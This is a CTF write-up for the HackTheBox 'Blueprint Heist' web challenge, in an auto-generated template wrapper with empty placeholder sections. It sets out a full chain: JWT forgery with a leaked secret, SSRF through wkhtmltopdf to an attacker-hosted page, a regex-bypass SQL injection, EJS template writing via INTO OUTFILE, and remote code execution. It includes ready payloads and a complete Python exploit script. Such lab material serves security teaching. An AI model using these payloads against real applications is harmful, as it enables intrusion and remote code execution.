Blueprint Heist
Blueprint Heist
Platform: HackTheBox | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2024-05-18 | Status: Solved Techniques: ejs_ssti_rce, graphql_injection, jwt_secret_bruteforce, mysql_into_outfile, sqli_regex_bypass, ssrf_via_wkhtmltopdf
Summary
Task: Web app with wkhtmltopdf PDF generation, GraphQL API, JWT auth, and EJS templating. Solution: Chain SSRF via wkhtmltopdf to access internal GraphQL, bypass regex SQLi filter with newline, write malicious EJS template via INTO OUTFILE, trigger SSTI for RCE.
Recon
Port scan
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
| Port | Service | Version | Notes |
|---|---|---|---|
| <PORT> | <SVC> | <VER> | <notes> |
Enumeration highlights
- Event:
hackthebox| ID:20240518_htb_business_blueprint_heist - Tags: SQLi, mysql, ssrf, ssti, jwt, graphql, wkhtmltopdf, nodejs, ejs
- Indicators: wkhtmltopdf PDF generation, GraphQL API, EJS templating, JWT authentication, regex-based SQLi filter
- Source:
20240518_htb_business_blueprint_heist.md
Foothold
Vulnerability / Misconfiguration
- Ejs_ssti_rce
- Graphql_injection
- Jwt_secret_bruteforce
- Mysql_into_outfile
- Sqli_regex_bypass
<command>
Exploitation
- See original writeup content for detailed exploitation.
Privilege Escalation
Enumeration
sudo -l find / -perm -4000 2>/dev/null getcap -r / 2>/dev/null cat /etc/crontab ps aux
Exploitation
- N/A for challenge-type writeup; see exploitation above.
- Flag obtained via challenge solve.
<command>
Flags
| Flag | Location | Value |
|---|---|---|
| flag | REDACTED |
Key Takeaways / Lessons
- ejs_ssti_rce
- graphql_injection
- jwt_secret_bruteforce
- mysql_into_outfile
- sqli_regex_bypass
- ssrf_via_wkhtmltopdf
- Tags: SQLi, mysql, ssrf, ssti, jwt, graphql, wkhtmltopdf, nodejs, ejs
Original Writeup
<details><summary>Click to expand original content</summary>Blueprint Heist - HackTheBox Business CTF 2024
Description
Web application for Urban Planning Commission that allows viewing construction reports and downloading PDFs. Stack: Node.js/Express, EJS templating engine, GraphQL API, JWT authentication, wkhtmltopdf for PDF generation.
Analysis
Application Architecture
- Frontend: Express + EJS templates
- API: GraphQL endpoint
/graphql - Auth: JWT tokens with roles
- PDF: wkhtmltopdf for URL to PDF conversion
- DB: MySQL
Discovered Vulnerabilities
- SSRF via wkhtmltopdf - endpoint
/downloaduses wkhtmltopdf for URL to PDF conversion, allowing SSRF to localhost - JWT Secret Disclosure - production server uses a different secret:
Str0ng_K3y_N0_l3ak_pl3ase? - SQL Injection in GraphQL - query
getDataByNameis vulnerable to SQLi with regex bypass via newline - Server-Side Template Injection - EJS templates can execute arbitrary code
- File Write via SQLi - MySQL
INTO OUTFILEallows writing files to the server
Key Files from Source Code
app/utils/security.js - SQLi filter with regex bypass:
function detectSqli (query) {
const pattern = /^.*[!#$%^&*()\-_=+{}\[\]\\|;:'\",.<>\/?]/
return pattern.test(query)
}
function checkInternal(req) {
const address = req.socket.remoteAddress.replace(/^.*:/, '')
return address === "127.0.0.1"
}
app/schemas/schema.js - Vulnerable GraphQL query:
data = await connection.query(`SELECT * FROM users WHERE name like '%${args.name}%'`);
app/controllers/downloadController.js - SSRF via wkhtmltopdf:
wkhtmltopdf(url, { output: pdfPath }, callback);
Solution
Step 1: JWT Secret Discovery
Source code contained placeholder secret IM_Sup3r_K3y_pl3ase_b3_c4r3ful?, but production used a different one.
Real secret: Str0ng_K3y_N0_l3ak_pl3ase?
import jwt
secret = "Str0ng_K3y_N0_l3ak_pl3ase?"
token = jwt.encode({"role": "admin"}, secret, algorithm="HS256")
print(token)
# eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJyb2xlIjoiYWRtaW4ifQ.rZnq-8kqh9o7rsIJket6BFk1lG6lH6VBTqGVLy65hzM
Step 2: SSRF for GraphQL Access
GraphQL endpoint requires requests from localhost (127.0.0.1). Using SSRF via wkhtmltopdf with iframe:
<!DOCTYPE html> <html> <body> <iframe src="http://localhost:1337/graphql?token=ADMIN_TOKEN&query=ENCODED_QUERY" width="1000" height="800"></iframe> </body> </html>
Host HTML on external server and load via /download endpoint.
Step 3: SQL Injection with Regex Bypass
SQLi filter uses regex: /^.*[!#$%^&*()\-_=+{}\[\]\\|;:'\",.<>\/?]/
Bypass: The . character in regex doesn't match newlines, so adding \n at the beginning bypasses the filter.
SQLi test:
{getDataByName(name:"john\n' OR 1=1-- "){id,name}}
Successfully dumps all users.
Step 4: File Write via INTO OUTFILE
Using SQLi to write malicious EJS template to /app/views/errors/404.ejs:
john\n'UNION SELECT 1,1,1,'<%= global.process.mainModule.require(`child_process`).execSync(`/readflag`).toString() %>' INTO OUTFILE '/app/views/errors/404.ejs'--
Full GraphQL query (URL encoded):
%7BgetDataByName%28name%3A%22john%5Cn%27UNION%20SELECT%201%2C1%2C1%2C%27%3C%25%3D%20global.process.mainModule.require%28%60child_process%60%29.execSync%28%60/readflag%60%29.toString%28%29%20%25%3E%27%20INTO%20OUTFILE%20%27/app/views/errors/404.ejs%27--%20%22%29%7Bid%2Cname%7D%7D
Step 5: Trigger SSTI for RCE
Access a non-existent URL to trigger 404 error, which renders our malicious template:
curl "http://TARGET/nonexistent_page_12345"
Full Exploit
#!/usr/bin/env python3
"""
Blueprint Heist - HackTheBox Business CTF 2024
Full exploit chain: SSRF -> SQLi -> File Write -> SSTI -> RCE
"""
import jwt
import requests
from urllib.parse import quote
from http.server import HTTPServer, SimpleHTTPRequestHandler
import threading
TARGET = "http://TARGET_IP:PORT"
ATTACKER_SERVER = "http://ATTACKER_IP:8888"
# Step 1: Generate admin JWT token
def generate_admin_token():
secret = "Str0ng_K3y_N0_l3ak_pl3ase?"
token = jwt.encode({"role": "admin"}, secret, algorithm="HS256")
return token
# Step 2: Create malicious HTML for SSRF
def create_ssrf_html(token, graphql_query):
encoded_query = quote(graphql_query)
html = f'''<!DOCTYPE html>
<html>
<body>
<iframe src="http://localhost:1337/graphql?token={token}&query={encoded_query}" width="1000" height="800"></iframe>
</body>
</html>'''
return html
# Step 3: SQLi payload with regex bypass
def create_sqli_payload():
# Newline bypasses the regex filter
# INTO OUTFILE writes malicious EJS template
ejs_payload = "<%= global.process.mainModule.require(`child_process`).execSync(`/readflag`).toString() %>"
sqli = f"john\\n'UNION SELECT 1,1,1,'{ejs_payload}' INTO OUTFILE '/app/views/errors/404.ejs'-- "
graphql = '{getDataByName(name:"' + sqli + '"){id,name}}'
return graphql
# Step 4: Host malicious HTML
def start_http_server(html_content, port=8888):
with open("exploit.html", "w") as f:
f.write(html_content)
handler = SimpleHTTPRequestHandler
server = HTTPServer(("0.0.0.0", port), handler)
thread = threading.Thread(target=server.handle_request)
thread.start()
return thread
# Step 5: Trigger SSRF via wkhtmltopdf
def trigger_ssrf(target, attacker_url):
url = f"{target}/download"
data = {"url": f"{attacker_url}/exploit.html"}
response = requests.post(url, data=data)
return response
# Step 6: Trigger 404 to execute SSTI
def trigger_rce(target):
response = requests.get(f"{target}/nonexistent_page_12345")
return response.text
# Main exploit
def main():
print("[*] Blueprint Heist Exploit")
# Generate token
token = generate_admin_token()
print(f"[+] Admin token: {token}")
# Create SQLi payload
sqli_query = create_sqli_payload()
print(f"[+] SQLi payload created")
# Create SSRF HTML
html = create_ssrf_html(token, sqli_query)
print(f"[+] SSRF HTML created")
# Start HTTP server
print(f"[*] Starting HTTP server on port 8888...")
start_http_server(html)
# Trigger SSRF
print(f"[*] Triggering SSRF via wkhtmltopdf...")
trigger_ssrf(TARGET, ATTACKER_SERVER)
# Wait for file write
import time
time.sleep(2)
# Trigger RCE
print(f"[*] Triggering SSTI via 404...")
flag = trigger_rce(TARGET)
print(f"[+] Flag: {flag}")
if __name__ == "__main__":
main()
Lessons Learned
- Chain vulnerabilities - each vulnerability alone is not critical, but the chain leads to RCE
- Regex bypass via newlines -
.in regex doesn't match\n, common bypass - wkhtmltopdf SSRF - classic SSRF vector, allows bypassing IP-based restrictions
- MySQL INTO OUTFILE - if there's SQLi and FILE privileges, files can be written
- EJS SSTI -
global.process.mainModule.require('child_process').execSync()for RCE - JWT secrets - production may use a different secret than in source code
Auto-tracked: saved to WriteUps; run
/xesor-reviseto fold lessons into XESXor_Methodology.md.
signed by XESXOR